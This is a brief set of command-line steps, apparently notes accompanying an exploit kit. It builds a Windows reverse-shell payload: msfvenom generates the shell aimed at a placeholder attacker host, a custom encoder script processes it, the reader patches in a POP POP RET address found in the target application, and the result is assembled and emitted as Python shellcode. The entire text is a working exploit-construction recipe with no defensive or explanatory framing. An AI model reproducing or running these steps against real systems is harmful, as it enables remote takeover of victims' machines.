msfvenom -p windows/shell_reverse_tcp lhost=XXX.XXX.XXX.XXX lport=XXXX -a x86 --platform win -f raw -o /tmp/reverse_shell.o
./encoder.py -p /tmp/reverse_shell.o
Find one POP; POP; RET address inside your application and open the file payload.asm changing the 0x41414141 PLACEHOLDER address to this address
nasm payload.asm -o payload.o
cat payload.o | msfvenom -p - -a x64 --platform win -e generic/none -f python